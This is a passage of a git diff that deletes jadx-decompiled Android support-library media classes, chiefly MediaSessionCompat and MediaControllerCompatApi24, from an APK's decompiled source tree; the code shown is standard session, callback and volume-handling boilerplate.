Uri uri, Bundle bundle) { - ((MediaController.TransportControls) obj).playFromUri(uri, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi24.java deleted file mode 100644 index 3b0e20d..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaControllerCompatApi24.java +++ /dev/null @@ -1,30 +0,0 @@ -package android.support.v4.media.session; - -import android.media.session.MediaController; -import android.net.Uri; -import android.os.Bundle; -import android.support.v4.media.session.MediaControllerCompatApi23; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class MediaControllerCompatApi24 { - MediaControllerCompatApi24() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class TransportControls extends MediaControllerCompatApi23.TransportControls { - public static void prepare(Object obj) { - ((MediaController.TransportControls) obj).prepare(); - } - - public static void prepareFromMediaId(Object obj, String str, Bundle bundle) { - ((MediaController.TransportControls) obj).prepareFromMediaId(str, bundle); - } - - public static void prepareFromSearch(Object obj, String str, Bundle bundle) { - ((MediaController.TransportControls) obj).prepareFromSearch(str, bundle); - } - - public static void prepareFromUri(Object obj, Uri uri, Bundle bundle) { - ((MediaController.TransportControls) obj).prepareFromUri(uri, bundle); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompat.java deleted file mode 100644 index 9c4e689..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/media/session/MediaSessionCompat.java +++ /dev/null @@ -1,1747 +0,0 @@ -package android.support.v4.media.session; - -import android.app.PendingIntent; -import android.content.ComponentName; -import android.content.Context; -import android.content.Intent; -import android.media.AudioManager; -import android.net.Uri; -import android.os.Bundle; -import android.os.Handler; -import android.os.Looper; -import android.os.Message; -import android.os.Parcel; -import android.os.Parcelable; -import android.os.RemoteCallbackList; -import android.os.RemoteException; -import android.os.ResultReceiver; -import android.support.v4.media.MediaDescriptionCompat; -import android.support.v4.media.MediaMetadataCompat; -import android.support.v4.media.RatingCompat; -import android.support.v4.media.VolumeProviderCompat; -import android.support.v4.media.session.IMediaSession; -import android.support.v4.media.session.MediaSessionCompatApi19; -import android.support.v4.media.session.MediaSessionCompatApi21; -import android.support.v4.media.session.MediaSessionCompatApi23; -import android.support.v4.media.session.MediaSessionCompatApi24; -import android.text.TextUtils; -import android.util.Log; -import android.util.TypedValue; -import android.view.KeyEvent; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.util.ArrayList; -import java.util.Iterator; -import java.util.List; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class MediaSessionCompat { - static final String ACTION_ARGUMENT_EXTRAS = "android.support.v4.media.session.action.ARGUMENT_EXTRAS"; - static final String ACTION_ARGUMENT_MEDIA_ID = "android.support.v4.media.session.action.ARGUMENT_MEDIA_ID"; - static final String ACTION_ARGUMENT_QUERY = "android.support.v4.media.session.action.ARGUMENT_QUERY"; - static final String ACTION_ARGUMENT_URI = "android.support.v4.media.session.action.ARGUMENT_URI"; - static final String ACTION_PLAY_FROM_URI = "android.support.v4.media.session.action.PLAY_FROM_URI"; - static final String ACTION_PREPARE = "android.support.v4.media.session.action.PREPARE"; - static final String ACTION_PREPARE_FROM_MEDIA_ID = "android.support.v4.media.session.action.PREPARE_FROM_MEDIA_ID"; - static final String ACTION_PREPARE_FROM_SEARCH = "android.support.v4.media.session.action.PREPARE_FROM_SEARCH"; - static final String ACTION_PREPARE_FROM_URI = "android.support.v4.media.session.action.PREPARE_FROM_URI"; - public static final int FLAG_HANDLES_MEDIA_BUTTONS = 1; - public static final int FLAG_HANDLES_TRANSPORT_CONTROLS = 2; - private static final int MAX_BITMAP_SIZE_IN_DP = 320; - static final String TAG = "MediaSessionCompat"; - static int sMaxBitmapSize; - private final ArrayList mActiveListeners; - private final MediaControllerCompat mController; - private final MediaSessionImpl mImpl; - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface MediaSessionImpl { - String getCallingPackage(); - - Object getMediaSession(); - - Object getRemoteControlClient(); - - Token getSessionToken(); - - boolean isActive(); - - void release(); - - void sendSessionEvent(String str, Bundle bundle); - - void setActive(boolean z); - - void setCallback(Callback callback, Handler handler); - - void setExtras(Bundle bundle); - - void setFlags(int i); - - void setMediaButtonReceiver(PendingIntent pendingIntent); - - void setMetadata(MediaMetadataCompat mediaMetadataCompat); - - void setPlaybackState(PlaybackStateCompat playbackStateCompat); - - void setPlaybackToLocal(int i); - - void setPlaybackToRemote(VolumeProviderCompat volumeProviderCompat); - - void setQueue(List list); - - void setQueueTitle(CharSequence charSequence); - - void setRatingType(int i); - - void setSessionActivity(PendingIntent pendingIntent); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnActiveChangeListener { - void onActiveChanged(); - } - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface SessionFlags { - } - - public MediaSessionCompat(Context context, String str) { - this(context, str, null, null); - } - - public MediaSessionCompat(Context context, String str, ComponentName componentName, PendingIntent pendingIntent) { - this.mActiveListeners = new ArrayList<>(); - if (context == null) { - throw new IllegalArgumentException("context must not be null"); - } - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("tag must not be null or empty"); - } - this.mImpl = new MediaSessionImplApi21(context, str); - this.mController = new MediaControllerCompat(context, this); - if (sMaxBitmapSize == 0) { - sMaxBitmapSize = (int) TypedValue.applyDimension(1, 320.0f, context.getResources().getDisplayMetrics()); - } - } - - private MediaSessionCompat(Context context, MediaSessionImpl mediaSessionImpl) { - this.mActiveListeners = new ArrayList<>(); - this.mImpl = mediaSessionImpl; - this.mController = new MediaControllerCompat(context, this); - } - - public void setCallback(Callback callback) { - setCallback(callback, null); - } - - public void setCallback(Callback callback, Handler handler) { - MediaSessionImpl mediaSessionImpl = this.mImpl; - if (handler == null) { - handler = new Handler(); - } - mediaSessionImpl.setCallback(callback, handler); - } - - public void setSessionActivity(PendingIntent pendingIntent) { - this.mImpl.setSessionActivity(pendingIntent); - } - - public void setMediaButtonReceiver(PendingIntent pendingIntent) { - this.mImpl.setMediaButtonReceiver(pendingIntent); - } - - public void setFlags(int i) { - this.mImpl.setFlags(i); - } - - public void setPlaybackToLocal(int i) { - this.mImpl.setPlaybackToLocal(i); - } - - public void setPlaybackToRemote(VolumeProviderCompat volumeProviderCompat) { - if (volumeProviderCompat == null) { - throw new IllegalArgumentException("volumeProvider may not be null!"); - } - this.mImpl.setPlaybackToRemote(volumeProviderCompat); - } - - public void setActive(boolean z) { - this.mImpl.setActive(z); - Iterator it = this.mActiveListeners.iterator(); - while (it.hasNext()) { - it.next().onActiveChanged(); - } - } - - public boolean isActive() { - return this.mImpl.isActive(); - } - - public void sendSessionEvent(String str, Bundle bundle) { - if (TextUtils.isEmpty(str)) { - throw new IllegalArgumentException("event cannot be null or empty"); - } - this.mImpl.sendSessionEvent(str, bundle); - } - - public void release() { - this.mImpl.release(); - } - - public Token getSessionToken() { - return this.mImpl.getSessionToken(); - } - - public MediaControllerCompat getController() { - return this.mController; - } - - public void setPlaybackState(PlaybackStateCompat playbackStateCompat) { - this.mImpl.setPlaybackState(playbackStateCompat); - } - - public void setMetadata(MediaMetadataCompat mediaMetadataCompat) { - this.mImpl.setMetadata(mediaMetadataCompat); - } - - public void setQueue(List list) { - this.mImpl.setQueue(list); - } - - public void setQueueTitle(CharSequence charSequence) { - this.mImpl.setQueueTitle(charSequence); - } - - public void setRatingType(int i) { - this.mImpl.setRatingType(i); - } - - public void setExtras(Bundle bundle) { - this.mImpl.setExtras(bundle); - } - - public Object getMediaSession() { - return this.mImpl.getMediaSession(); - } - - public Object getRemoteControlClient() { - return this.mImpl.getRemoteControlClient(); - } - - public String getCallingPackage() { - return this.mImpl.getCallingPackage(); - } - - public void addOnActiveChangeListener(OnActiveChangeListener onActiveChangeListener) { - if (onActiveChangeListener == null) { - throw new IllegalArgumentException("Listener may not be null"); - } - this.mActiveListeners.add(onActiveChangeListener); - } - - public void removeOnActiveChangeListener(OnActiveChangeListener onActiveChangeListener) { - if (onActiveChangeListener == null) { - throw new IllegalArgumentException("Listener may not be null"); - } - this.mActiveListeners.remove(onActiveChangeListener); - } - - @Deprecated - public static MediaSessionCompat obtain(Context context, Object obj) { - return fromMediaSession(context, obj); - } - - public static MediaSessionCompat fromMediaSession(Context context, Object obj) { - if (context == null || obj == null) { - return null; - } - return new MediaSessionCompat(context, new MediaSessionImplApi21(obj)); - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static abstract class Callback { - final Object mCallbackObj = MediaSessionCompatApi24.createCallback(new StubApi24()); - - public void onCommand(String str, Bundle bundle, ResultReceiver resultReceiver) { - } - - public void onCustomAction(String str, Bundle bundle) { - } - - public void onFastForward() { - } - - public boolean onMediaButtonEvent(Intent intent) { - return false; - } - - public void onPause() { - } - - public void onPlay() { - } - - public void onPlayFromMediaId(String str, Bundle bundle) { - } - - public void onPlayFromSearch(String str, Bundle bundle) { - } - - public void onPlayFromUri(Uri uri, Bundle bundle) { - } - - public void onPrepare() { - } - - public void onPrepareFromMediaId(String str, Bundle bundle) { - } - - public void onPrepareFromSearch(String str, Bundle bundle) { - } - - public void onPrepareFromUri(Uri uri, Bundle bundle) { - } - - public void onRewind() { - } - - public void onSeekTo(long j) { - } - - public void onSetRating(RatingCompat ratingCompat) { - } - - public void onSkipToNext() { - } - - public void onSkipToPrevious() { - } - - public void onSkipToQueueItem(long j) { - } - - public void onStop() { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi21 implements MediaSessionCompatApi21.Callback { - StubApi21() { - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onCommand(String str, Bundle bundle, ResultReceiver resultReceiver) { - Callback.this.onCommand(str, bundle, resultReceiver); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public boolean onMediaButtonEvent(Intent intent) { - return Callback.this.onMediaButtonEvent(intent); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onPlay() { - Callback.this.onPlay(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onPlayFromMediaId(String str, Bundle bundle) { - Callback.this.onPlayFromMediaId(str, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onPlayFromSearch(String str, Bundle bundle) { - Callback.this.onPlayFromSearch(str, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onSkipToQueueItem(long j) { - Callback.this.onSkipToQueueItem(j); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onPause() { - Callback.this.onPause(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onSkipToNext() { - Callback.this.onSkipToNext(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onSkipToPrevious() { - Callback.this.onSkipToPrevious(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onFastForward() { - Callback.this.onFastForward(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onRewind() { - Callback.this.onRewind(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onStop() { - Callback.this.onStop(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi18.Callback - public void onSeekTo(long j) { - Callback.this.onSeekTo(j); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi19.Callback - public void onSetRating(Object obj) { - Callback.this.onSetRating(RatingCompat.fromRating(obj)); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi21.Callback - public void onCustomAction(String str, Bundle bundle) { - if (str.equals(MediaSessionCompat.ACTION_PLAY_FROM_URI)) { - Callback.this.onPlayFromUri((Uri) bundle.getParcelable(MediaSessionCompat.ACTION_ARGUMENT_URI), (Bundle) bundle.getParcelable(MediaSessionCompat.ACTION_ARGUMENT_EXTRAS)); - } else if (str.equals(MediaSessionCompat.ACTION_PREPARE)) { - Callback.this.onPrepare(); - } else if (str.equals(MediaSessionCompat.ACTION_PREPARE_FROM_MEDIA_ID)) { - Callback.this.onPrepareFromMediaId(bundle.getString(MediaSessionCompat.ACTION_ARGUMENT_MEDIA_ID), bundle.getBundle(MediaSessionCompat.ACTION_ARGUMENT_EXTRAS)); - } else if (str.equals(MediaSessionCompat.ACTION_PREPARE_FROM_SEARCH)) { - Callback.this.onPrepareFromSearch(bundle.getString(MediaSessionCompat.ACTION_ARGUMENT_QUERY), bundle.getBundle(MediaSessionCompat.ACTION_ARGUMENT_EXTRAS)); - } else if (str.equals(MediaSessionCompat.ACTION_PREPARE_FROM_URI)) { - Bundle bundle2 = bundle.getBundle(MediaSessionCompat.ACTION_ARGUMENT_EXTRAS); - Callback.this.onPrepareFromUri((Uri) bundle.getParcelable(MediaSessionCompat.ACTION_ARGUMENT_URI), bundle2); - } else { - Callback.this.onCustomAction(str, bundle); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi23 extends StubApi21 implements MediaSessionCompatApi23.Callback { - StubApi23() { - super(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi23.Callback - public void onPlayFromUri(Uri uri, Bundle bundle) { - Callback.this.onPlayFromUri(uri, bundle); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - private class StubApi24 extends StubApi23 implements MediaSessionCompatApi24.Callback { - StubApi24() { - super(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi24.Callback - public void onPrepare() { - Callback.this.onPrepare(); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi24.Callback - public void onPrepareFromMediaId(String str, Bundle bundle) { - Callback.this.onPrepareFromMediaId(str, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi24.Callback - public void onPrepareFromSearch(String str, Bundle bundle) { - Callback.this.onPrepareFromSearch(str, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi24.Callback - public void onPrepareFromUri(Uri uri, Bundle bundle) { - Callback.this.onPrepareFromUri(uri, bundle); - } - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class Token implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.session.MediaSessionCompat.Token.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public Token createFromParcel(Parcel parcel) { - return new Token(parcel.readParcelable(null)); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public Token[] newArray(int i) { - return new Token[i]; - } - }; - private final Object mInner; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - Token(Object obj) { - this.mInner = obj; - } - - public static Token fromToken(Object obj) { - if (obj != null) { - return new Token(MediaSessionCompatApi21.verifyToken(obj)); - } - return null; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeParcelable((Parcelable) this.mInner, i); - } - - public int hashCode() { - Object obj = this.mInner; - if (obj == null) { - return 0; - } - return obj.hashCode(); - } - - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (obj instanceof Token) { - Token token = (Token) obj; - Object obj2 = this.mInner; - if (obj2 == null) { - return token.mInner == null; - } - Object obj3 = token.mInner; - if (obj3 == null) { - return false; - } - return obj2.equals(obj3); - } - return false; - } - - public Object getToken() { - return this.mInner; - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class QueueItem implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.session.MediaSessionCompat.QueueItem.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public QueueItem createFromParcel(Parcel parcel) { - return new QueueItem(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public QueueItem[] newArray(int i) { - return new QueueItem[i]; - } - }; - public static final int UNKNOWN_ID = -1; - private final MediaDescriptionCompat mDescription; - private final long mId; - private Object mItem; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public QueueItem(MediaDescriptionCompat mediaDescriptionCompat, long j) { - this(null, mediaDescriptionCompat, j); - } - - private QueueItem(Object obj, MediaDescriptionCompat mediaDescriptionCompat, long j) { - if (mediaDescriptionCompat == null) { - throw new IllegalArgumentException("Description cannot be null."); - } - if (j == -1) { - throw new IllegalArgumentException("Id cannot be QueueItem.UNKNOWN_ID"); - } - this.mDescription = mediaDescriptionCompat; - this.mId = j; - this.mItem = obj; - } - - QueueItem(Parcel parcel) { - this.mDescription = MediaDescriptionCompat.CREATOR.createFromParcel(parcel); - this.mId = parcel.readLong(); - } - - public MediaDescriptionCompat getDescription() { - return this.mDescription; - } - - public long getQueueId() { - return this.mId; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - this.mDescription.writeToParcel(parcel, i); - parcel.writeLong(this.mId); - } - - public Object getQueueItem() { - Object obj = this.mItem; - if (obj == null) { - Object createItem = MediaSessionCompatApi21.QueueItem.createItem(this.mDescription.getMediaDescription(), this.mId); - this.mItem = createItem; - return createItem; - } - return obj; - } - - @Deprecated - public static QueueItem obtain(Object obj) { - return fromQueueItem(obj); - } - - public static QueueItem fromQueueItem(Object obj) { - if (obj != null) { - return new QueueItem(obj, MediaDescriptionCompat.fromMediaDescription(MediaSessionCompatApi21.QueueItem.getDescription(obj)), MediaSessionCompatApi21.QueueItem.getQueueId(obj)); - } - return null; - } - - public static List fromQueueItemList(List list) { - if (list != null) { - ArrayList arrayList = new ArrayList(); - Iterator it = list.iterator(); - while (it.hasNext()) { - arrayList.add(fromQueueItem(it.next())); - } - return arrayList; - } - return null; - } - - public String toString() { - return "MediaSession.QueueItem {Description=" + this.mDescription + ", Id=" + this.mId + " }"; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static final class ResultReceiverWrapper implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.media.session.MediaSessionCompat.ResultReceiverWrapper.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public ResultReceiverWrapper createFromParcel(Parcel parcel) { - return new ResultReceiverWrapper(parcel); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public ResultReceiverWrapper[] newArray(int i) { - return new ResultReceiverWrapper[i]; - } - }; - private ResultReceiver mResultReceiver; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - public ResultReceiverWrapper(ResultReceiver resultReceiver) { - this.mResultReceiver = resultReceiver; - } - - ResultReceiverWrapper(Parcel parcel) { - this.mResultReceiver = (ResultReceiver) ResultReceiver.CREATOR.createFromParcel(parcel); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - this.mResultReceiver.writeToParcel(parcel, i); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class MediaSessionImplBase implements MediaSessionImpl { - final AudioManager mAudioManager; - volatile Callback mCallback; - private final Context mContext; - Bundle mExtras; - int mFlags; - private MessageHandler mHandler; - int mLocalStream; - private final ComponentName mMediaButtonReceiverComponentName; - private final PendingIntent mMediaButtonReceiverIntent; - MediaMetadataCompat mMetadata; - final String mPackageName; - List mQueue; - CharSequence mQueueTitle; - int mRatingType; - private final Object mRccObj; - PendingIntent mSessionActivity; - PlaybackStateCompat mState; - private final MediaSessionStub mStub; - final String mTag; - private final Token mToken; - VolumeProviderCompat mVolumeProvider; - int mVolumeType; - final Object mLock = new Object(); - final RemoteCallbackList mControllerCallbacks = new RemoteCallbackList<>(); - boolean mDestroyed = false; - private boolean mIsActive = false; - private boolean mIsRccRegistered = false; - private boolean mIsMbrRegistered = false; - private VolumeProviderCompat.Callback mVolumeCallback = new VolumeProviderCompat.Callback() { // from class: android.support.v4.media.session.MediaSessionCompat.MediaSessionImplBase.1 - @Override // android.support.v4.media.VolumeProviderCompat.Callback - public void onVolumeChanged(VolumeProviderCompat volumeProviderCompat) { - if (MediaSessionImplBase.this.mVolumeProvider != volumeProviderCompat) { - return; - } - MediaSessionImplBase.this.sendVolumeInfoChanged(new ParcelableVolumeInfo(MediaSessionImplBase.this.mVolumeType, MediaSessionImplBase.this.mLocalStream, volumeProviderCompat.getVolumeControl(), volumeProviderCompat.getMaxVolume(), volumeProviderCompat.getCurrentVolume())); - } - }; - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public String getCallingPackage() { - return null; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public Object getMediaSession() { - return null; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setMediaButtonReceiver(PendingIntent pendingIntent) { - } - - public MediaSessionImplBase(Context context, String str, ComponentName componentName, PendingIntent pendingIntent) { - if (componentName == null && (componentName = MediaButtonReceiver.getMediaButtonReceiverComponent(context)) == null) { - Log.w(MediaSessionCompat.TAG, "Couldn't find a unique registered media button receiver in the given context."); - } - if (componentName != null && pendingIntent == null) { - Intent intent = new Intent("android.intent.action.MEDIA_BUTTON"); - intent.setComponent(componentName); - pendingIntent = PendingIntent.getBroadcast(context, 0, intent, 0); - } - if (componentName == null) { - throw new IllegalArgumentException("MediaButtonReceiver component may not be null."); - } - this.mContext = context; - this.mPackageName = context.getPackageName(); - this.mAudioManager = (AudioManager) context.getSystemService("audio"); - this.mTag = str; - this.mMediaButtonReceiverComponentName = componentName; - this.mMediaButtonReceiverIntent = pendingIntent; - MediaSessionStub mediaSessionStub = new MediaSessionStub(); - this.mStub = mediaSessionStub; - this.mToken = new Token(mediaSessionStub); - this.mRatingType = 0; - this.mVolumeType = 1; - this.mLocalStream = 3; - this.mRccObj = MediaSessionCompatApi14.createRemoteControlClient(pendingIntent); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setCallback(Callback callback, Handler handler) { - this.mCallback = callback; - if (callback == null) { - MediaSessionCompatApi18.setOnPlaybackPositionUpdateListener(this.mRccObj, null); - MediaSessionCompatApi19.setOnMetadataUpdateListener(this.mRccObj, null); - return; - } - if (handler == null) { - handler = new Handler(); - } - synchronized (this.mLock) { - this.mHandler = new MessageHandler(handler.getLooper()); - } - MediaSessionCompatApi19.Callback callback2 = new MediaSessionCompatApi19.Callback() { // from class: android.support.v4.media.session.MediaSessionCompat.MediaSessionImplBase.2 - @Override // android.support.v4.media.session.MediaSessionCompatApi19.Callback - public void onSetRating(Object obj) { - MediaSessionImplBase.this.postToHandler(19, RatingCompat.fromRating(obj)); - } - - @Override // android.support.v4.media.session.MediaSessionCompatApi18.Callback - public void onSeekTo(long j) { - MediaSessionImplBase.this.postToHandler(18, Long.valueOf(j)); - } - }; - MediaSessionCompatApi18.setOnPlaybackPositionUpdateListener(this.mRccObj, MediaSessionCompatApi18.createPlaybackPositionUpdateListener(callback2)); - MediaSessionCompatApi19.setOnMetadataUpdateListener(this.mRccObj, MediaSessionCompatApi19.createMetadataUpdateListener(callback2)); - } - - void postToHandler(int i) { - postToHandler(i, null); - } - - void postToHandler(int i, Object obj) { - postToHandler(i, obj, null); - } - - void postToHandler(int i, Object obj, Bundle bundle) { - synchronized (this.mLock) { - MessageHandler messageHandler = this.mHandler; - if (messageHandler != null) { - messageHandler.post(i, obj, bundle); - } - } - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setFlags(int i) { - synchronized (this.mLock) { - this.mFlags = i; - } - update(); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setPlaybackToLocal(int i) { - VolumeProviderCompat volumeProviderCompat = this.mVolumeProvider; - if (volumeProviderCompat != null) { - volumeProviderCompat.setCallback(null); - } - this.mVolumeType = 1; - int i2 = this.mVolumeType; - int i3 = this.mLocalStream; - sendVolumeInfoChanged(new ParcelableVolumeInfo(i2, i3, 2, this.mAudioManager.getStreamMaxVolume(i3), this.mAudioManager.getStreamVolume(this.mLocalStream))); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setPlaybackToRemote(VolumeProviderCompat volumeProviderCompat) { - if (volumeProviderCompat == null) { - throw new IllegalArgumentException("volumeProvider may not be null"); - } - VolumeProviderCompat volumeProviderCompat2 = this.mVolumeProvider; - if (volumeProviderCompat2 != null) { - volumeProviderCompat2.setCallback(null); - } - this.mVolumeType = 2; - this.mVolumeProvider = volumeProviderCompat; - sendVolumeInfoChanged(new ParcelableVolumeInfo(this.mVolumeType, this.mLocalStream, this.mVolumeProvider.getVolumeControl(), this.mVolumeProvider.getMaxVolume(), this.mVolumeProvider.getCurrentVolume())); - volumeProviderCompat.setCallback(this.mVolumeCallback); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setActive(boolean z) { - if (z == this.mIsActive) { - return; - } - this.mIsActive = z; - if (update()) { - setMetadata(this.mMetadata); - setPlaybackState(this.mState); - } - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public boolean isActive() { - return this.mIsActive; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void sendSessionEvent(String str, Bundle bundle) { - sendEvent(str, bundle); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void release() { - this.mIsActive = false; - this.mDestroyed = true; - update(); - sendSessionDestroyed(); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public Token getSessionToken() { - return this.mToken; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setPlaybackState(PlaybackStateCompat playbackStateCompat) { - synchronized (this.mLock) { - this.mState = playbackStateCompat; - } - sendState(playbackStateCompat); - if (this.mIsActive) { - if (playbackStateCompat == null) { - MediaSessionCompatApi14.setState(this.mRccObj, 0); - MediaSessionCompatApi14.setTransportControlFlags(this.mRccObj, 0L); - return; - } - MediaSessionCompatApi18.setState(this.mRccObj, playbackStateCompat.getState(), playbackStateCompat.getPosition(), playbackStateCompat.getPlaybackSpeed(), playbackStateCompat.getLastPositionUpdateTime()); - MediaSessionCompatApi19.setTransportControlFlags(this.mRccObj, playbackStateCompat.getActions()); - } - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setMetadata(MediaMetadataCompat mediaMetadataCompat) { - if (mediaMetadataCompat != null) { - mediaMetadataCompat = new MediaMetadataCompat.Builder(mediaMetadataCompat, MediaSessionCompat.sMaxBitmapSize).build(); - } - synchronized (this.mLock) { - this.mMetadata = mediaMetadataCompat; - } - sendMetadata(mediaMetadataCompat); - if (this.mIsActive) { - Object obj = this.mRccObj; - Bundle bundle = mediaMetadataCompat == null ? null : mediaMetadataCompat.getBundle(); - PlaybackStateCompat playbackStateCompat = this.mState; - MediaSessionCompatApi19.setMetadata(obj, bundle, playbackStateCompat == null ? 0L : playbackStateCompat.getActions()); - } - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setSessionActivity(PendingIntent pendingIntent) { - synchronized (this.mLock) { - this.mSessionActivity = pendingIntent; - } - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setQueue(List list) { - this.mQueue = list; - sendQueue(list); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setQueueTitle(CharSequence charSequence) { - this.mQueueTitle = charSequence; - sendQueueTitle(charSequence); - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public Object getRemoteControlClient() { - return this.mRccObj; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setRatingType(int i) { - this.mRatingType = i; - } - - @Override // android.support.v4.media.session.MediaSessionCompat.MediaSessionImpl - public void setExtras(Bundle bundle) { - this.mExtras = bundle; - sendExtras(bundle); - } - - private boolean update() { - if (this.mIsActive) { - boolean z = this.mIsMbrRegistered; - if (!z && (this.mFlags & 1) != 0) { - MediaSessionCompatApi18.registerMediaButtonEventReceiver(this.mContext, this.mMediaButtonReceiverIntent, this.mMediaButtonReceiverComponentName); - this.mIsMbrRegistered = true; - } else if (z && (this.mFlags & 1) == 0) { - MediaSessionCompatApi18.unregisterMediaButtonEventReceiver(this.mContext, this.mMediaButtonReceiverIntent, this.mMediaButtonReceiverComponentName); - this.mIsMbrRegistered = false; - } - boolean z2 = this.mIsRccRegistered; - if (!z2 && (this.mFlags & 2) != 0) { - MediaSessionCompatApi14.registerRemoteControlClient(this.mContext, this.mRccObj); - this.mIsRccRegistered = true; - return true; - } else if (z2 && (this.mFlags & 2) == 0) { - MediaSessionCompatApi14.setState(this.mRccObj, 0); - MediaSessionCompatApi14.unregisterRemoteControlClient(this.mContext, this.mRccObj); - this.mIsRccRegistered = false; - return false; - } else { - return false; - } - } - if (this.mIsMbrRegistered) { - MediaSessionCompatApi18.unregisterMediaButtonEventReceiver(this.mContext, this.mMediaButtonReceiverIntent, this.mMediaButtonReceiverComponentName); - this.mIsMbrRegistered = false; - } - if (this.mIsRccRegistered) { - MediaSessionCompatApi14.setState(this.mRccObj, 0); - MediaSessionCompatApi14.unregisterRemoteControlClient(this.mContext, this.mRccObj); - this.mIsRccRegistered = false; - return false; - } - return false; - } - - void adjustVolume(int i, int i2) { - if (this.mVolumeType == 2) { - VolumeProviderCompat volumeProviderCompat = this.mVolumeProvider; - if (volumeProviderCompat != null) { - 